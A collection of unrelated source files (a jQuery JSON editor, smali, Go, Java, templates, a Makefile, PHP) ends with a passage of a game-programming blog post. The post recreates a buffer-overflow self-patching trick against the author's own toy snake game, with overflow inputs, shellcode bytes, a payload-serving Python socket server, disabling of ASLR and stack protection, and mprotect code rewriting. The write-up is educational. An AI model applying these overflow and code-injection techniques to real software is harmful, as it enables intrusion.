text:
// Simple yet flexible JSON editor plugin.
// Turns any element into a stylable interactive JSON editor.

// Copyright (c) 2013 David Durman

// Licensed under the MIT license (http://www.opensource.org/licenses/mit-license.php).

// Dependencies:

// * jQuery
// * JSON (use json2 library for browsers that do not support JSON natively)

// Example:

//     var myjson = { any: { json: { value: 1 } } };
//     var opt = { change: function() { /* called on every change */ } };
//     /* opt.propertyElement = '<textarea>'; */ // element of the property field, <input> is default
//     /* opt.valueElement = '<textarea>'; */  // element of the value field, <input> is default
//     $('#mydiv').jsonEditor(myjson, opt);

(function( $ ) {

    $.fn.jsonEditor = function(json, options) {
        options = options || {};
        // Make sure functions or other non-JSON data types are stripped down.
        json = parse(stringify(json));

        var K = function() {};
        var onchange = options.change || K;
        var onpropertyclick = options.propertyclick || K;

        return this.each(function() {
            JSONEditor($(this), json, onchange, onpropertyclick, options.propertyElement, options.valueElement);
        });

    };

    function JSONEditor(target, json, onchange, onpropertyclick, propertyElement, valueElement) {
        var opt = {
            target: target,
            onchange: onchange,
            onpropertyclick: onpropertyclick,
            original: json,
            propertyElement: propertyElement,
            valueElement: valueElement
        };
        construct(opt, json, opt.target);
        $(opt.target).one('blur focus', '.property, .value', function() {
            $(this).toggleClass('editing');
        });
    }

    function isObject(o) { return Object.prototype.toString.call(o) == '[object Object]'; }
    function isArray(o) { return Object.prototype.toString.call(o) == '[object Array]'; }
    function isBoolean(o) { return Object.prototype.toString.call(o) == '[object Boolean]'; }
    function isNumber(o) { return Object.prototype.toString.call(o) == '[object Number]'; }
    function isString(o) { return Object.prototype.toString.call(o) == '[object String]'; }
    var types = 'object array boolean number string null';

    // Feeds object `o` with `value` at `path`. If value argument is omitted,
    // object at `path` will be deleted from `o`.
    // Example:
    //      feed({}, 'foo.bar.baz', 10);    // returns { foo: { bar: { baz: 10 } } }
    function feed(o, path, value) {
        var del = arguments.length == 2;

        if (path.indexOf('.') > -1) {
            var diver = o,
                i = 0,
                parts = path.split('.');
            for (var len = parts.length; i < len - 1; i++) {
                diver = diver[parts[i]];
            }
            if (del) delete diver[parts[len - 1]];
            else diver[parts[len - 1]] = value;
        } else {
            if (del) delete o[path];
            else o[path] = value;
        }
        return o;
    }

    // Get a property by path from object o if it exists. If not, return defaultValue.
    // Example:
    //     def({ foo: { bar: 5 } }, 'foo.bar', 100);   // returns 5
    //     def({ foo: { bar: 5 } }, 'foo.baz', 100);   // returns 100
    function def(o, path, defaultValue) {
        path = path.split('.');
        var i = 0;
        while (i < path.length) {
            if ((o = o[path[i++]]) == undefined) return defaultValue;
        }
        return o;
    }

    function error(reason) { if (window.console) { console.error(reason); } }

    function parse(str) {
        var res;
        try { res = JSON.parse(str); }
        catch (e) { res = null; error('JSON parse failed.'); }
        return res;
    }

    function stringify(obj) {
        var res;
        try { res = JSON.stringify(obj); }
        catch (e) { res = 'null'; error('JSON stringify failed.'); }
        return res;
    }

    function addExpander(item) {
        if (item.children('.expander').length == 0) {
            var expander =   $('<span>',  { 'class': 'expander' });
            expander.bind('click', function() {
                var item = $(this).parent();
                item.toggleClass('expanded');
            });
            item.prepend(expander);
        }
    }

    function addListAppender(item, handler) {
        var appender = $('<div>', { 'class': 'item appender' });
        appender.append(btn);
        item.append(appender);
        return appender;
    }

    function addNewValue(json) {
        if (isArray(json)) {
            if(json.length > 0){
                json.push(json[json.length-1]);
            }
            else {
                json.push(null);
            }
            return true;
        }
        /*
        if (isObject(json)) {
            var i = 1, newName = "newKey";

            while (json.hasOwnProperty(newName)) {
                newName = "newKey" + i;
                i++;
            }

            json[newName] = null;
            return true;
        }
        */

        return false;
    }

    function construct(opt, json, root, path) {
        path = path || '';

        root.children('.item').remove();
        for (var key in json) {
            if (!json.hasOwnProperty(key)) continue;

            var item     = $('<div>',   { 'class': 'item', 'data-path': path }),
                property =   $(opt.propertyElement || '<input>', { 'class': 'property', "readonly":""}),
                value    =   $(opt.valueElement || '<input>', { 'class': 'value'    });

            if (isObject(json[key]) || isArray(json[key])) {
                addExpander(item);
            }

            item.append(property).append(value);
            root.append(item);

            property.val(key).attr('title', key);
            var val = stringify(json[key]);
            value.val(val).attr('title', val);

            assignType(item, json[key]);

            property.change(propertyChanged(opt));
            value.change(valueChanged(opt));
            property.click(propertyClicked(opt));

            if(isArray(json)){
                var btn  = $('<button></button>', { 'class': 'property rm' })
                btn.text('x');
                btn.click(function () {
                    var idx = btn.prev().prev().attr('title');
                    json.splice(idx, 1);
                    construct(opt, json, root, path);
                    opt.onchange(parse(stringify(opt.original)));
                });
                item.append(btn);
            }

            if (isObject(json[key]) || isArray(json[key])) {
                var handler = function (key) {
                        return function(){
                            addNewValue(json[key]);
                            construct(opt, json, root, path);
                            opt.onchange(parse(stringify(opt.original)));
                        };
                    };
                if(isArray(json[key])){
                    var btn  = $('<button></button>', { 'class': 'property add' })
                    btn.text('+');
                    btn.click(handler(key));
                    item.append(btn);
                }
                construct(opt, json[key], item, (path ? path + '.' : '') + key);
            }
        }

        //if (isObject(json) || isArray(json)) {
        if (isArray(json)) {
            /*
            addListAppender(root, function () {
                addNewValue(json);
                construct(opt, json, root, path);
                opt.onchange(parse(stringify(opt.original)));
            })
            */
        }
    }

    function updateParents(el, opt) {
        $(el).parentsUntil(opt.target).each(function() {
            var path = $(this).data('path');
            path = (path ? path + '.' : path) + $(this).children('.property').val();
            var val = stringify(def(opt.original, path, null));
            $(this).children('.value').val(val).attr('title', val);
        });
    }

    function propertyClicked(opt) {
        return function() {
            var path = $(this).parent().data('path');
            var key = $(this).attr('title');

            var safePath = path ? path.split('.').concat([key]).join('\'][\'') : key;

            opt.onpropertyclick('[\'' + safePath + '\']');
        };
    }

    function propertyChanged(opt) {
        return function() {
            var path = $(this).parent().data('path'),
                val = parse($(this).next().val()),
                newKey = $(this).val(),
                oldKey = $(this).attr('title');

            $(this).attr('title', newKey);

            feed(opt.original, (path ? path + '.' : '') + oldKey);
            if (newKey) feed(opt.original, (path ? path + '.' : '') + newKey, val);

            updateParents(this, opt);

            if (!newKey) $(this).parent().remove();

            opt.onchange(parse(stringify(opt.original)));
        };
    }

    function valueChanged(opt) {
        return function() {
            var key = $(this).prev().val(),
                val = parse($(this).val() || 'null'),
                item = $(this).parent(),
                path = item.data('path');

            feed(opt.original, (path ? path + '.' : '') + key, val);
            if ((isObject(val) || isArray(val)) && !$.isEmptyObject(val)) {
                construct(opt, val, item, (path ? path + '.' : '') + key);
                addExpander(item);
            } else {
                item.find('.expander, .item').remove();
            }

            assignType(item, val);

            updateParents(this, opt);

            opt.onchange(parse(stringify(opt.original)));
        };
    }

    function assignType(item, val) {
        var className = 'null';

        if (isObject(val)) className = 'object';
        else if (isArray(val)) className = 'array';
        else if (isBoolean(val)) className = 'boolean';
        else if (isString(val)) className = 'string';
        else if (isNumber(val)) className = 'number';

        item.removeClass(types);
        item.addClass(className);
    }

})( jQuery );


text:
.class Lcom/android/settings/fingerprint/FingerprintSettings$3;
.super Ljava/lang/Object;
.source "FingerprintSettings.java"

# interfaces
.implements Ljava/lang/Runnable;

# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
    value = Lcom/android/settings/fingerprint/FingerprintSettings;
.end annotation

.annotation system Ldalvik/annotation/InnerClass;
    accessFlags = 0x0
    name = null
.end annotation

# instance fields
.field final synthetic this$0:Lcom/android/settings/fingerprint/FingerprintSettings;

# direct methods
.method constructor <init>(Lcom/android/settings/fingerprint/FingerprintSettings;)V
    .locals 0

    iput-object p1, p0, Lcom/android/settings/fingerprint/FingerprintSettings$3;->this$0:Lcom/android/settings/fingerprint/FingerprintSettings;

    invoke-direct {p0}, Ljava/lang/Object;-><init>()V

    return-void
.end method

# virtual methods
.method public run()V
    .locals 1

    iget-object v0, p0, Lcom/android/settings/fingerprint/FingerprintSettings$3;->this$0:Lcom/android/settings/fingerprint/FingerprintSettings;

    invoke-static {v0}, Lcom/android/settings/fingerprint/FingerprintSettings;->-wrap1(Lcom/android/settings/fingerprint/FingerprintSettings;)V

    return-void
.end method

redpajama_set_name: RedPajamaGithub


text:
This is a first paragraph,
on multiple lines.

This is a second paragraph.
There are spaces in between the two.


text:
// Package install installs the experimental API group, making it available as
// an option to all of the API encoding/decoding machinery.
package install

import (
	"k8s.io/apimachinery/pkg/apimachinery/announced"
	"k8s.io/apimachinery/pkg/apimachinery/registered"
	"k8s.io/apimachinery/pkg/runtime"

	"github.com/jetstack/navigator/pkg/apis/navigator"
	"github.com/jetstack/navigator/pkg/apis/navigator/v1alpha1"
)

// Install registers the API group and adds types to a scheme
func Install(groupFactoryRegistry announced.APIGroupFactoryRegistry, registry *registered.APIRegistrationManager, scheme *runtime.Scheme) {
	if err := announced.NewGroupMetaFactory(
		&announced.GroupMetaFactoryArgs{
			GroupName:                  navigator.GroupName,
			VersionPreferenceOrder:     []string{v1alpha1.SchemeGroupVersion.Version},
			AddInternalObjectsToScheme: navigator.AddToScheme,
		},
		announced.VersionToSchemeFunc{
			v1alpha1.SchemeGroupVersion.Version: v1alpha1.AddToScheme,
		},
	).Announce(groupFactoryRegistry).RegisterAndEnable(registry, scheme); err != nil {
		panic(err)
	}
}


text:
package com.tle.web.itemadmin.section;

import com.tle.annotation.NonNullByDefault;
import com.tle.beans.entity.LanguageBundle;
import com.tle.beans.item.ItemId;
import com.tle.beans.item.ItemIdKey;
import com.tle.common.Check;
import com.tle.core.guice.Bind;
import com.tle.core.i18n.BundleCache;
import com.tle.core.item.service.ItemService;
import com.tle.core.plugins.PluginService;
import com.tle.core.plugins.PluginTracker;
import com.tle.web.bulk.operation.BulkOperationExtension;
import com.tle.web.bulk.operation.BulkOperationExtension.OperationInfo;
import com.tle.web.bulk.section.AbstractBulkResultsDialog;
import com.tle.web.bulk.section.AbstractBulkSelectionSection;
import com.tle.web.itemadmin.WithinEntry;
import com.tle.web.itemadmin.operation.BulkAddCollaboratorsDialog;
import com.tle.web.itemadmin.operation.BulkChangeOwnerDialog;
import com.tle.web.itemadmin.operation.StandardOperations;
import com.tle.web.sections.SectionInfo;
import com.tle.web.sections.SectionTree;
import com.tle.web.sections.annotations.EventHandlerMethod;
import com.tle.web.sections.annotations.TreeLookup;
import com.tle.web.sections.equella.annotation.PlugKey;
import com.tle.web.sections.events.RenderContext;
import com.tle.web.sections.render.Label;
import com.tle.web.sections.render.SectionRenderable;
import com.tle.web.sections.result.util.BundleLabel;
import com.tle.web.sections.result.util.PluralKeyLabel;
import com.tle.web.sections.standard.RendererConstants;
import com.tle.web.sections.standard.model.DynamicHtmlListModel;
import com.tle.web.sections.standard.model.HtmlComponentState;
import com.tle.web.sections.standard.model.Option;
import com.tle.web.sections.standard.renderers.SpanRenderer;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import javax.inject.Inject;

@Bind
@NonNullByDefault
public class ItemAdminResultsDialog extends AbstractBulkResultsDialog<ItemIdKey> {
  @PlugKey("itemadmin.opresults.count")
  private static String OPRESULTS_COUNT_KEY;

  @PlugKey("error.personal")
  private static Label ERROR_SCRAPBOOK;

  @Inject private ItemService itemService;
  @Inject private StandardOperations standardOps;
  @Inject private BulkChangeOwnerDialog changeOwnerOp;
  @Inject private BulkAddCollaboratorsDialog addCollabsOp;
  @Inject private BundleCache bundleCache;

  @TreeLookup private AbstractBulkSelectionSection<ItemIdKey> selectionSection;
  @TreeLookup private ItemAdminQuerySection querySection;

  private PluginTracker<BulkOperationExtension> tracker;

  @EventHandlerMethod
  public void removeSelection(SectionInfo info, long itemId, String uuid, int version) {
    selectionSection.removeSelection(info, new ItemIdKey(itemId, uuid, version));
  }

  @SuppressWarnings("nls")
  @Inject
  public void setPluginService(PluginService pluginService) {
    tracker =
        new PluginTracker<BulkOperationExtension>(
                pluginService, "com.tle.web.itemadmin", "bulkExtension", null)
            .setBeanKey("bean");
  }

  public class BulkOperationList extends DynamicHtmlListModel<OperationInfo> {
    private final List<BulkOperationExtension> bulkOps = new ArrayList<BulkOperationExtension>();

    public BulkOperationList(SectionTree tree, String parentId) {
      bulkOps.add(standardOps);
      bulkOps.add(changeOwnerOp);
      bulkOps.add(addCollabsOp);
      bulkOps.addAll(tracker.getNewBeanList());
      for (BulkOperationExtension op : bulkOps) {
        op.register(tree, parentId);
      }
    }

    @Override
    protected Iterable<Option<OperationInfo>> populateOptions(SectionInfo info) {
      List<Option<OperationInfo>> ops = new ArrayList<Option<OperationInfo>>();
      for (BulkOperationExtension operation : bulkOps) {
        operation.addOptions(info, ops);
      }
      return ops;
    }

    @Override
    protected Iterable<OperationInfo> populateModel(SectionInfo info) {

      return null;
    }
  }

  @Override
  protected SectionRenderable renderOptions(RenderContext context, OperationInfo opInfo) {
    WithinEntry selected = querySection.getCollectionList().getSelectedValue(context);

    if (selected != null && selected.isSimpleOpsOnly()) {
      getPrevButton().setDisplayed(context, true);
      getModel(context).setErrored(true);
      return new SpanRenderer(ERROR_SCRAPBOOK).addClass("simpleopsmessage");
    }

    return super.renderOptions(context, opInfo);
  }

  @Override
  protected DynamicHtmlListModel<OperationInfo> getBulkOperationList(
      SectionTree tree, String parentId) {

    return new BulkOperationList(tree, parentId);
  }

  @Override
  protected Label getOpResultCountLabel(int totalSelections) {

    return new PluralKeyLabel(OPRESULTS_COUNT_KEY, totalSelections);
  }

  @Override
  protected List<SelectionRow> getRows(List<ItemIdKey> pageOfIds) {
    List<SelectionRow> rows = new ArrayList<SelectionRow>();
    Map<ItemId, LanguageBundle> itemNames = itemService.getItemNames(pageOfIds);
    for (ItemIdKey itemId : pageOfIds) {
      rows.add(
          new SelectionRow(
              new BundleLabel(itemNames.get(ItemId.fromKey(itemId)), itemId.getUuid(), bundleCache),
              new HtmlComponentState(
                  RendererConstants.LINK,
                  events.getNamedHandler(
                      "removeSelection",
                      itemId.getKey(),
                      itemId.getUuid(),
                      itemId.getVersion())))); // $NON-NLS-1$
    }
    return rows;
  }

  @Override
  protected List<ItemIdKey> getItemIds(List<Long> longs) {
    if (longs.size() > 50) {
      throw new RuntimeException("Too many items");
    }
    if (Check.isEmpty(longs)) {
      return Collections.emptyList();
    }
    return itemService.getItemIdKeys(longs);
  }
}


text:
    {{ site.title }}
    {{ site.tagline }}
    {% include menu.html %}


text:
require 'test_helper'

class SponsorsHelperTest < ActionView::TestCase
end


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<title>Overview List</title>
<meta name="date" content="2014-01-26">
<link rel="stylesheet" type="text/css" href="stylesheet.css" title="Style">

All Classes

Packages

com.bionic_gaming.apps.obj

com.bionic_gaming.apps.utility


text:
<?php

/*
 * Created by tpay.com.
 * Date: 19.06.2017
 * Time: 11:09
 */

namespace tpayLibs\src\_class_tpay\Validators;

interface PaymentTypesInterface
{

    public function getRequestFields();

    public function getResponseFields();

}


text:
CFLAGS=-Ivendor/libwire/include
LDFLAGS=-lpthread

all: serial-server

serial-server: serial-server.o tcp.o serial.o vendor/libwire/test/utils.o vendor/libwire/libwire.a

vendor/libwire/libwire.a:
	cd vendor/libwire && ./configure && ninja

clean:
	-rm serial-server *.o vendor/libwire/libwire.a

.PHONY: clean all


text:
{% extends "admin/base.html" %}

{% block title %}{{ title }} | {{ site_title|default:_('Django site admin') }}{% endblock %}

{% block blockbots %}
<meta name="robots" content="NONE,NOARCHIVE" />

{% endblock %}

{% block branding %}

{{ site_header|default:_('Django administration') }}

{% endblock %}

{% block nav-global %}{% endblock %}


text:
<!DOCTYPE html>

  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Kyle Halladay - Recreating An Old "Dirty Gamedev Trick"</title>
  <meta name="author" content="Kyle Halladay" />
  <meta name="description" content="I build shaders, renderers, games, and other stuff that's fun to stare at." />
  <link rel="canonical" href="http://kylehalladay.com/blog/2019/12/04/Recreating-A-Dirty-Gamedev-Hack.html" />
  <meta name="keywords" content="life,code,software,development,games,graphics,shaders,indie" />

  <link href="//fonts.googleapis.com/css?family=Open+Sans:600,800" rel="stylesheet" type="text/css">
  <link rel="shortcut icon" href="/favicon.png">
  <link rel="alternate" type="application/rss+xml" title="Kyle Halladay" href="http://kylehalladay.com/atom.xml" />

  <link rel="stylesheet" href="/assets/css/all.css">
  <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">

I'm Kyle Halladay.

I do graphics and engine programming for games.

I'm the author of Practical Shader Development, which is all about learning to write shaders.

Check out some other stuff I've written

    Want to say hi?

      <topbar>

KyleHalladay.com

Archive

</topbar>

04 Dec 2019

Recreating An Old "Dirty Gamedev Trick"

There's a story that pops up in my twitter feed every 6 months or so. The original version of it is from a Gamasutra article published in 2013 which contained a collection of stories of various "dirty" tricks used in previous games (link). There's a lot of fun stories in the article but one stands head and shoulders above the rest in terms of awesomeness. I've copied the specific story below so that this post makes sense even in the unlikely event of the original link going dead.

(s)elf-exploitation

Jonathan Garrett, Insomniac Games

Ratchet and Clank: Up Your Arsenal was an online title that shipped without the ability to patch either code or data. Which was unfortunate.

The game downloads and displays an End User License Agreement each time it's launched. This is an ascii string stored in a static buffer. This buffer is filled from the server without checking that the size is within the buffer's capacity.

We exploited this fact to cause the EULA download to overflow the static buffer far enough to also overwrite a known global variable. This variable happened to be the function callback handler for a specific network packet. Once this handler was installed, we could send the network packet to cause a jump to the address in the overwritten global. The address was a pointer to some payload code that was stored earlier in the EULA data.

Valuable data existed between the real end of the EULA buffer and the overwritten global, so the first job of the payload code was to restore this trashed data. Once that was done things were back to normal and the actual patching work could be done.

One complication is that the EULA text is copied with strcpy. And strcpy ends when it finds a 0 byte (which is usually the end of the string). Our string contained code which often contains 0 bytes. So we mutated the compiled code such that it contained no zero bytes and had a carefully crafted piece of bootstrap asm to un-mutate it.

By the end, the hack looked like this:

 1. Send oversized EULA

 2. Overflow EULA buffer, miscellaneous data, callback handler pointer

 3. Send packet to trigger handler

 4. Game jumps to bootstrap code pointed to by handler

 5. Bootstrap decodes payload data

 6. Payload downloads and restores stomped miscellaneous data

 7. Patch executes

Takeaways: Include patching code in your shipped game, and don't use unbounded strcpy.

Suffice to say that this story is not an example of what modern day game development is like, but I think that's what makes it so appealing. Most of my day at work is spent sorting out problems in huge codebases made up of abstractions layered over other abstractions layered over third party libraries and legacy code. This is the polar opposite of that, and I want to get me some of it. So this is the story of how I recreated this on OS X.

I want to caveat the entire article by saying that this post is going to contain a lot of terrible assembly. I hadn't written much assembly before I started this project and I'm sure it shows. That being said, let's get started!

First: You Can Run Arbitrary Machine Code at Runtime?

The first thing that jumped out at me in this story was the part about sending machine code over the network to be executed by the game. It had never occurred to me that this was possible, despite it being obvious in hindsight. With some help from this article, I was able to prove that this was going to work on OS X too. First I wrote a quick bit of assembly (in this case, enough to call exit(42):

.text
.globl _main
_main:
        mov $42, %di
        movl $0x2000001, %eax
        syscall

Assembled it with OS X's built in "as" tool, and disassembled it with objdump to get the hex machine code bytes:

1ff5:	66 bf 2a 00 	movw	$42, %di
1ff9:	b8 01 00 00 02 	movl	$33554433, %eax
1ffe:	0f 05 	syscall

Then I copied those bytes to a string and tried to run it:

int main(void)
{
    char* code = "\x66\xbf\x2a\x00\xb8\x01\x00\x00\x02\x0f\x05";
    ((void(*)())code)();
    return 0;
}

The above returns the value 42 and the "return 0" statement never gets executed, which is cool. However, this wasn't enough to prove anything because it only worked when the code string was a constant. Trying to copy that string to a different (non-constant) buffer and then execute the instructions there failed immediately:

int main(void)
{
    char* code = "\x66\xbf\x2a\x00\xb8\x01\x00\x00\x02\x0f\x05";
    char buff[256];
    memcpy(buff, code, 256);
    ((void(*)())buff)(); // will fail with EXC_BAD_ACCESS
    return 0;
}

As it turns out, OS X has memory protections to help prevent folks from doing these sorts of shenaningans. If you compile on the command line with the arguments "-Wl,-allow_stack_execute", clang will happily let this code run just fine. In fact, that argument will allow the above code to work whether or not buff is on the stack, the bss section, or the data section.

Note that no matter what I did, I couldn't get Xcode 10 to recognize that compiler flag, it had to be command line. It's also important to note that if you compile objective-c code (or objective-c++) with this flag, the flag won't work. I could be missing something, but I got bored and just fell back to the command line / plain C++ instead of continuing to fight with it.

The Playstation 2 was gone well before I entered the industry, but based on googling and asking a few coworkers who had some experience on it, it seems unlikely that the ps2 had the same kind of memory security, so I don't feel too bad about disabling OS X's to get this project done.

Step Two: Useful Buffer Overflows

My next goal was to use a buffer overflow to redirect a function pointer to a buffer that I controlled. I'd never intentionally overflowed a buffer before, but boy do I have experience tracking and fixing memory stomps, so this felt pretty natural (in theory). In practice it was a bit messier. Consider the following code:

void hello();

static char buff[32];
static void(*targetFunc)();

int main(int argc, const char** argv)
{
    targetFunc = hello;
    gets(buff);
    targetFunc();
    return 0;
}

void hello()
{
    printf("Hello World\n");
}

While this code will absolutely crash, it's not guaranteed that the compiler has positioned the static variables in the bss section of our executable in the same order that they appear in the code. In my case, they were actually located in the opposite order in my executable, as you can see in this snippet of Hopper output.

__ZL10targetFunc:        // targetFunc
0000000100001020         dq         0x0000000000000000 ; DATA XREF=_main+29, _main+52
0000000100001028         db  0x00 ; '.'
0000000100001029         db  0x00 ; '.'
000000010000102a         db  0x00 ; '.'
000000010000102b         db  0x00 ; '.'
000000010000102c         db  0x00 ; '.'
000000010000102d         db  0x00 ; '.'
000000010000102e         db  0x00 ; '.'
000000010000102f         db  0x00 ; '.'
                     __ZL4buff:        // buff
0000000100001030         db  0x00 ; '.'                ; DATA XREF=_main+36
0000000100001031         db  0x00 ; '.'
0000000100001032         db  0x00 ; '.'
0000000100001033         db  0x00 ; '.'
; (buff continues below)

Unluckily, this means that try as I might, I couldn't use the gets() call to change the value of the targetFunc pointer. After a bit of experimentation, I found that (at least for my trivial example), Clang places variables in the bss section in the order they're encountered in code, so rewriting the code to assign to buff before the gets() call sorted things out (example below).

void hello()
{
    printf("Hello World\n");
}

static char buff[32];
static void(*targetFunc)();

int main(int argc, const char** argv)
{
    buff[0] = 'c';
    targetFunc = hello;
    gets(buff);
    targetFunc();
    return 0;
}

Of course, all of the above only holds true if both variables are located in the same section in the executable. If, for example, targetFunc was initialized when it was declared, like so:

static void(*targetFunc)() = hello;

It would be placed in the data section of the executable instead of the bss section (since it has an initial value). This doesn't preclude me from overflowing (I don't think), but it does mean that I also have to worry about the order that the compiler places the bss section and the data section in the executable. This seemed like more hassle than it was worth for the purposes of this project so I just kept everything in bss all the time.

It seemed like the above code made it possible for a properly crafted input string to overflow and write a new address into the function pointer, so I decided to give that a shot. The address of buff in my executable was 0x0000000100001020. In order to be able to enter this value to gets(), it needed to be converted to ascii. A lot of that address is zero bytes, which don't have an ascii character associated with it, so I had to enter them in terminal by pressing control+space instead. The non zero bytes are 01, 10, and 20, two of which are non printable characters that I ended up copy and pasting from a website so that I didn't have to figure out how to type them. The last one, 20, is the space character (' '). In terminal, it looked like this (note the space character at the end):

AAAAAAAAAABBBBBBBBBBAAAAAAAAAABB^@^@^@^A^@^@^P

Copying and pasting the above string is not the same as actually pasting in the ascii characters for bytes 01 and 10, this is just how terminal decided to display that those characters were entered.

In addition to being annoying to enter, this didn't work because I had forgotten about endianness, and needed to rearrange this input so that the address was specified as a little-endian value. Figuring that out took longer than I'm willing to admit to in a blog post. The correct string looked like this:

AAAAAAAAAABBBBBBBBBBAAAAAAAAAABB ^P^@^@^A^@^@^@

Finally though, I could demonstrably (using lldb to print the address of targetFunc) use a buffer overflow to set a pointer. Sadly, if I tried the same trick without lldb attached, things failed horribly. It turns out OS X had one more security feature up it's sleeve to stall my plan of creating the world's most insecure application.

A/S/L…R?

ASLR, or Address Space Layout Randomization, is a security technique that rearranges the locations of key areas of an executable's data, including (at least on OS X Mojave) the .bss section. This means that every time I ran the test application without lldb attached, the address of the character buffer was randomized.

The concept of ASLR was first published in 2001, and first used in a "mainstream" OS in 2003 (according to wikipedia at least). Given that the PS2 was launched in 2000, I'm relatively confident that there was nothing like this on our story's hardware. I also found this presentation about game console security which suggests that ASLR didn't make an appearance on Sony consoles until the PS4. This means that just like before, I can feel good about simply disabling this security feature on my executable. This is accomplished by another clang flag, "-Wl,-no_pie", where pie refers to "position indepent executables." Unlike earlier however, this flag can be enabled in an Xcode project, you just need to go to your build settings and enable the setting "Generate Position-Dependent Executable."

Compiling with that flag gave me a lovely little binary which kept the buff variable at the same memory address all the time.

Step Three: Putting Things Together

Now that I was properly redirecting the targetFunc pointer to my buffer, it seemed like the next step was to actually write some code into that buffer to execute. To keep things simple, I started out by reusing the code string that called exit(42) earlier. Unfortunately, a lot of the hex values in my code string couldn't be represented in ascii at all, so I decided to abandon using gets() and wrote a small python server to pass the code string to my program over a socket. I was going to need to do this eventually anyway so this felt like progress.

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = ('localhost', 10002)
s.bind(address)
s.listen(1)

while True:
    connection, addr = s.accept()
    connection.send(b"\x66\xbf\x2a\x00\xb8\x01\x00\x00\x02\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x10\x00\x00\x01\x00\x00\x00")

This also meant making my example program a bit more complicated:

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <cstring>
#include <stdio.h>

static char buff[32];
static void(*targetFunc)();

void hello()
{
    printf("Hello World\n");
}

int main(void)
{
    buff[0]='c';
    targetFunc = hello;
    const int SERVER_PORT = 10002;
    const char* SERVER_ADDRESS = "127.0.0.1";
    const int BUFF_LEN = 64;

    struct sockaddr_in sockAddr = {0};
    sockAddr.sin_family = AF_INET;
    sockAddr.sin_port = htons(SERVER_PORT);
    inet_pton(AF_INET, SERVER_ADDRESS, &sockAddr.sin_addr);
    int socketHandle = socket(AF_INET, SOCK_STREAM, 0);

    connect(socketHandle, (struct sockaddr*)&sockAddr, sizeof(sockAddr));

    recv(socketHandle, &buff, BUFF_LEN, 0);
    targetFunc();
    return 0;
}

Running this totally worked as long as I had disabled aslr. I stopped here to celebrate by becoming bored with the project and abandoning it for a month.

Modifying Existing Instructions

Downloading and executing assembly code was already pretty awesome, but given that my end goal was to be able to patch a game using this system, it seemed like it would be way cooler if I could use that assembly to fix bugs in different parts of the program. I'd already used mprotect to mark pages as Read/Write protected in other project (for tracking memory stomps), so it wasn't a huge stretch to use it to mark pages as executable instead. I still wrote a small test program to make sure it worked.

When running in debug, the code below will return 0 instead of 42, because it modifies the shouldExit42() function to return false. Clang will optimize away the memcpy operation if you compile above -O0, but that didn't really matter to me because, in the real project, I was going to be hand writing the assembly to do this.

#include <sys/mman.h>
#include <memory>
#include <unistd.h>
#include <stdint.h>

bool shouldExit42()
{
    return true;
}

bool shouldNotExit42()
{
    return false;
}

int main(int argc, const char * argv[])
{
    int64_t pagesize = getpagesize();

    uint8_t* should = (uint8_t*)&shouldExit42;
    uint8_t* shouldNot = (uint8_t*)&shouldNotExit42;

    int64_t shouldPageAddr = pagesize * (int64_t(should)/pagesize);
    uint8_t* shouldPage = (uint8_t*)shouldPageAddr;

    mprotect(shouldPage, pagesize, PROT_READ|PROT_EXEC|PROT_WRITE);

    memcpy(should,shouldNot, 64);

    return shouldExit42() ? 42 : 0;
}

Now, technically the above code is relying on undefined behaviour because the POSIX standard specifies that the behaviour of mprotect is undefined unless it's operating on an mmap'd pointer, but OS X Mojave seems happy to just do what I want this way. Also, the 64 byte size in the memcpy call is total garbage that I pulled out of the air, but it was good enough for the test program.

One caveat to patching code this way is that any changes need to keep the target function the same size, since this won't move around the rest of functions in memory (and I don't even want to think about trying that). Alternatively, it's possible to add entirely new functions, assuming there's memory available to store it. I already kinda did this above when I stored assembly code in a buffer and executed it there, so I'm not going to belabour the point any more.

Goodbye Test Programs, Hello Snake

Finally, I felt like I knew enough to try out actually recreating the gamasutra story in a real project, and I built a small game to use as the target executable. I started out with a tile matching game that used metal for graphics, but got tired of fighting with making -allow_stack_execute work in a project that included objective-c code, so I scrapped that and built a quick snake game with ncurses. The game sucks, but that's not really the point, so as you're reading, you could try to pretend that I'm talking about some totally awesome AAA project instead if it helps.

The (awful) code is up on github here. Most of it doesn't matter, but a few bits are relevant to this blog post. First is how I've set up a few key static vars:

static char eula[1024];
static void(*packetHandler)();
static int randomSeed;

int main()
{
    memset(eula,0,EULA_LEN);
    randomSeed = 42;
    packetHandler = handleNotificationPacket;
    //rest of code omitted

Clang is going to position these static variables in the bss section in the order they're first encountered when parsing code (or at least, that's what it did in all my tests), so any attempt to overwrite the packetHandler pointer by overflowing the eula buffer also needed to stomp on whatever value is stored in randomSeed. Part of my payload's job was going to be making sure that the randomSeed value was set back to 42 before it got used by the game.

The game starts by downloading data from a server and strcpying it into the EULA buffer. Immediately after the server sends the EULA, it's also going to send the packet that will trigger a call to the packetHandler() function. I couldn't do squat until I got packetHandler pointed to the eula buffer, so that's the first thing I did. This was a little trickier than the last time I used an overflow to set a pointer because now the machine code was getting strcpy'd, meaning it couldn't contain any null bytes. Initially though, this didn't matter, since I just wanted to set the packetHandler pointer (which was at 00000000000092b0), and being little-endian means that I only actually needed to write the value 0x92b0.

Put together, this initial step looked like so:

Launch Snake, have it connect to the server

Have the server send 1024 bytes of \x01 to fill the eula buffer

Send 4 bytes of \x02 to fill the random seed.

Send another 4 bytes of \x03 to fill the padding between randomSeed and the function pointer

Send \xB0\x92\x00 to update the function pointer and end the string

Since it's a bit long, I won't show the python I used to do this here, but if you're interested, you can check it out here.

That part was pretty easy, but once it was working, the game would immediately crash when it received the packet triggered a call to packetHandler() since there was nothing of value in the EULA buffer. This kinda sucked, so my next step was to have the EULA buffer actually do something. As a proof of concept, I started by re-purposing the exit(42) code string that I used earlier. The original code string had a few null bytes in it though, so it needed some massaging. As a refresher, here was the original bit of machine code:

